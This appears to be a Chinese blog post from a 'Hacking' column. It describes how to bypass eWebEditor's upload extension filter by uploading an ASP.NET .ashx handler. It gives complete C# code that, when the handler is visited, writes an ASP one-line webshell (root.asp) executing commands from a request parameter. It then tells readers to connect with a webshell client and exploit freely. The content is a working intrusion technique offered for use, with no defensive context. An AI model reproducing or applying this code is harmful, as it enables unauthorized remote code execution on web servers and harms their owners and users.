ashx脚本写入脚本文件拿webshell

最新推荐文章于 2024-03-20 20:47:48 发布

7禧

最新推荐文章于 2024-03-20 20:47:48 发布

阅读量2.2k

点赞数

分类专栏： Hacking 文章标签：脚本 file asp.net class c# php

本文链接：https://blog.csdn.net/god_7z1/article/details/6402773

版权

Hacking 专栏收录该内容

264 篇文章 1 订阅

订阅专栏

如果ewebeditor过滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型，上传一个ashx脚本上去，脚本内容如下：
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";

StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(/"root/"):response.End%>");
file1.Flush();
file1.Close();

}
public bool IsReusable {
get {
return false;
}
}
}
然后访问上传后的ashx文件，就会在同目录下生成一个root.asp的一句话木马，然后使用一句话木马客户端连接即可。利用方面就大家自由发挥了！
备注：运行ashx文件是要建立在ASP.NET的基础之上！！